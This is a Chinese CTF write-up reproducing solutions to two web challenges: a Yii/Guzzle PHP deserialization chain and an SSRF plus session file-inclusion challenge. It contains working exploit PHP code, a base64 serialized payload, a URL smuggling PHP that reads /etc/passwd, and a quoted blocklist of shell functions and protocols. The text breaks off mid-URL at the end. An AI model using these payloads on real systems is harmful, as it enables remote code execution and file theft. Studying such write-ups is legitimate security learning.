太菜了,一个web都没做出来。接下来是复现。好好学习一下大佬们的姿势,也记录一下。篇幅较长,其中有对于源码等的分析,适合新手。大佬勿喷。
目录
考点:Apache Flink 任意Jar包上传导致远程代码执行漏洞、fastjson反序列化
参考师傅们的wp,网上有的,侵权删。
web1 ezyii
考点: yii反序列化的链子
比赛给了源码,打开源码开始审计。
当时网上看了很多yii的链子,包括CVE-2020-15148,还有先知上这个最新的链子,都没什么思路,直到看到大佬的wp,发现先知上还有个yii的四条链子利用方法。
先知第一个链子
先知第二个链子,直接给了payload。愣是没搜出来,后来听说是因为影响到比赛,作者事先删了。
通过审计代码可以知道,这里还是用的是在Codeception\Extension目录下的RunProcess.php
文件 ,这里的__destruct()会遍历$this->processes,那我们可以通过$this->processes变量遍历时赋值的$process来调用__toString() 在
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
中 $process->getCommandLine()会返回一个值,而'.'作为字符串链接符,使$process被当作字符串进行了使用,所以触发了__toString()
所以我们搜索__toString()发现,在AppendStream.php里面含有这个函数,调用了$this->rewind(),跟进rewind发现调用了seek()函数,继续跟进发现$stream参数又走向了CachingStream.php类中的rewind方法,
在这里getSize()是调用的PumpStream.php中的方法
但我们先不管,在seek方法中,这里调用了read方法,我们跟进read方法,发现这里继续跳转到了PumpStream.php中的read方法。
然后查看PumpStream.php中的read方法,发现这里调用了pump方法,跟进pump函数,发现了call_user_func(),结合返回值可控的__call()方法,实现命令执行。
至此反序列化POP链分析完成,构造exp如下
<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');
}
}
echo base64_encode(serialize(new RunProcess()));
}
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
$a = function(){phpinfo();};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}
paylaod
TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjI6e3M6OToiACoAb3V0cHV0IjtPOjIyOiJGYWtlclxEZWZhdWx0R2VuZXJhdG9yIjoxOntzOjEwOiIAKgBkZWZhdWx0IjtzOjU6ImppYW5nIjt9czo0MzoiAENvZGVjZXB0aW9uXEV4dGVuc2lvblxSdW5Qcm9jZXNzAHByb2Nlc3NlcyI7YToxOntpOjA7TzoyMjoiRmFrZXJcRGVmYXVsdEdlbmVyYXRvciI6MTp7czoxMDoiACoAZGVmYXVsdCI7TzoyODoiR3V6emxlSHR0cFxQc3I3XEFwcGVuZFN0cmVhbSI6Mjp7czozNzoiAEd1enpsZUh0dHBcUHNyN1xBcHBlbmRTdHJlYW0Ac3RyZWFtcyI7YToxOntpOjA7TzoyOToiR3V6emxlSHR0cFxQc3I3XENhY2hpbmdTdHJlYW0iOjI6e3M6NDM6IgBHdXp6bGVIdHRwXFBzcjdcQ2FjaGluZ1N0cmVhbQByZW1vdGVTdHJlYW0iO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO2I6MDt9czo2OiJzdHJlYW0iO086MjY6Ikd1enpsZUh0dHBcUHNyN1xQdW1wU3RyZWFtIjozOntzOjM0OiIAR3V6emxlSHR0cFxQc3I3XFB1bXBTdHJlYW0Ac291cmNlIjtDOjMyOiJPcGlzXENsb3N1cmVcU2VyaWFsaXphYmxlQ2xvc3VyZSI6MTc4OnthOjU6e3M6MzoidXNlIjthOjA6e31zOjg6ImZ1bmN0aW9uIjtzOjIzOiJmdW5jdGlvbigpe1xwaHBpbmZvKCk7fSI7czo1OiJzY29wZSI7czoyNjoiR3V6emxlSHR0cFxQc3I3XFB1bXBTdHJlYW0iO3M6NDoidGhpcyI7TjtzOjQ6InNlbGYiO3M6MzI6IjAwMDAwMDAwNmVlZGE5YjkwMDAwMDAwMDQxOGMxZmJkIjt9fXM6MzI6IgBHdXp6bGVIdHRwXFBzcjdcUHVtcFN0cmVhbQBzaXplIjtpOi0xMDtzOjM0OiIAR3V6emxlSHR0cFxQc3I3XFB1bXBTdHJlYW0AYnVmZmVyIjtPOjIyOiJGYWtlclxEZWZhdWx0R2VuZXJhdG9yIjoxOntzOjEwOiIAKgBkZWZhdWx0IjtzOjE6ImoiO319fX1zOjM4OiIAR3V6emxlSHR0cFxQc3I3XEFwcGVuZFN0cmVhbQBzZWVrYWJsZSI7YjoxO319fX0=
运行结果
web2 安全检测
考点 :SSRF、session条件竞争
打开界面发现是个登录界面,任意用户都可以登录,接着就是一个输入框,让你对链接进行安全检测。post check2.php,会file_get_contents(报错得知)验证一个url是否可以访问,然后get preview.php可以查看这个url的内容。
对于这种题,大佬们有下面几种方法
方法1
通过fuzz可知,传入的url任意位置包含http或者http:// 即可进行读取。所以直接传入/var/www/html/http://../check2.php 就可以读取本地文件。
通过读取/etc/apache2/apache2.conf。我们可以看到
<Directory "/var/www/html/admin">
Options +Indexes +FollowSymLinks +ExecCGI
deny from all
Allow from 127.0.0.1
</Directory>
因此找到/admin目录,因为开启了目录遍历,我们可以通过ssrf找到文件名/admin/include123.php,就可以看到源码, 通过源码分析得知是session条件竞争。
include123.php可以包含本地session文件,check2.php文件把url存储在session中,login.php则对存入的session的用户名进行了过滤,但是过滤不多,因此可以让url是
http://www.example.com/?<?php $a='read'.'fi'.'le';$a('/etc/passwd');?>aaa
的方式让session包含命令执行的payload。然后包含这个session实现代码执行。
方法2
通过ssrf传 http://127.0.0.1/admin 访问到了include123.php文件。
查看文件代码
<?php
$u=$_GET['u'];
$pattern = "\/\*|\*|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where";
$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|.log|\@|:\/\/|flag|access|error|stdout|stderr";
$pattern .="|file|dict|gopher";
//累了累了,饮茶先
$vpattern = explode("|",$pattern);
foreach($vpattern as $value){
if (preg_match( "/$value/i", $u )){
echo "检测到恶意字符";
exit(0);
}
}
include($u);
show_source(__FILE__);
?>
可以发现包含了$u参数,直接文件包含session就可以了。直接get
http://127.0.0.1/